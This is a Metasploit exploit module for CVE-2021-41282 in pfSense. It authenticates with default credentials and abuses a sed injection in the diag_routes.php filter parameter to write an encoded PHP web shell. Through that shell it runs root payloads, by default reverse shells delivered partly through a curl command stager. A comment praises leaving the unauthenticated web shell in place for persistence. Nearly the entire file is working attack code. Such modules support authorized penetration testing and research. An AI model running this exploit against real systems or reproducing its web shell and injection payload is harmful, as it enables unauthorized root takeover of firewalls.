##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pfSense Diag Routes Web Shell Upload',
        'Description' => %q{
          This module exploits an arbitrary file creation vulnerability in the pfSense
          HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
          and can be exploited by an authenticated user if they have the
          "WebCfg - Diagnostics: Routing tables" privilege.

          This module uses the vulnerability to create a web shell and execute payloads
          with root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
          'jbaines-r7' # metasploit module
        ],
        'References' => [
          ['CVE', '2021-41282'],
          ['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
        ],
        'DisclosureDate' => '2022-02-23',
        'Platform' => ['unix', 'bsd'],
        'Arch' => [ARCH_CMD, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              },
              'Payload' => {
                'Append' => ' & disown'
              }
            }
          ],
          [
            'BSD Dropper',
            {
              'Platform' => 'bsd',
              'Arch' => [ARCH_X64],
              'Type' => :bsd_dropper,
              'CmdStagerFlavor' => [ 'curl' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
      OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
      OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
    ]

    @webshell_uri = '/'
    @webshell_path = '/usr/local/www/'
  end

  # Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
  # pfsense permissions can be so locked down that we have to try direct exploitation
  # in order to determine vulnerability. A user can even be restricted from the
  # dashboard (where other pfsense modules extract the version).
  def check
    # Grab a CSRF token so that we can log in
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
    return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
    return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')

    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    return CheckCode::Unknown('Could not find CSRF token') unless csrf

    # send the log in attempt
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/index.php'),
      'method' => 'POST',
      'vars_post' => {
        '__csrf_magic' => csrf,
        'usernamefld' => datastore['USERNAME'],
        'passwordfld' => datastore['PASSWORD'],
        'login' => ''
      }
    )

    return CheckCode::Detected('No response to log in attempt.') unless res
    return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302

    # save the auth cookie for later user
    @auth_cookies = res.get_cookies

    # attempt the exploit. Upload a random file to /usr/local/www/ with random contents
    filename = Rex::Text.rand_text_alpha(4..12)
    contents = Rex::Text.rand_text_alpha(16..32)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
      'cookie' => @auth_cookies,
      'encode_params' => false,
      'vars_get' => {
        'isAjax' => '1',
        'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
      }
    })

    return CheckCode::Safe('No response to upload attempt.') unless res
    return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200

    # Validate the exploit was successful by requesting the uploaded file
    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
    return CheckCode::Safe('No response to exploit validation check.') unless res
    return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200

    register_file_for_cleanup("#{@webshell_path}#{filename}")
    CheckCode::Vulnerable()
  end

  # Using the path traversal, upload a php webshell to the remote target
  def drop_webshell
    webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
    print_status("Uploading webshell to #{webshell_location}")

    # php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
    php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
      'cookie' => @auth_cookies,
      'encode_params' => false,
      'vars_get' => {
        'isAjax' => '1',
        'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200

    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
    print_status('Testing if web shell installation was successful')
    rand_data = Rex::Text.rand_text_alphanumeric(16..32)
    res = execute_via_webshell("echo #{rand_data}")
    fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
    print_good("Web shell installed at #{webshell_location}")

    # This is a great place to leave a web shell for persistence since it doesn't require auth
    # to touch it. By default, we'll clean this up but the attacker has to option to leave it
    if datastore['DELETE_WEBSHELL']
      register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
    end
  end

  # Executes commands via the uploaded webshell
  def execute_via_webshell(cmd)
    if target['Type'] == :bsd_dropper
      # the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
      # way to force the payload to background itself (and thus allow the HTTP response to
      # to return). So we hack it in ourselves. This identifies the ending file cleanup
      # which should be right after executing the payload.
      cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
      'vars_get' => {
        'cmd' => cmd
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
    res
  end

  def execute_command(cmd, _opts = {})
    execute_via_webshell(cmd)
  end

  def exploit
    # create a randomish web shell name if the user doesn't specify one
    @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"

    drop_webshell

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :bsd_dropper
      execute_cmdstager
    end
  end
end
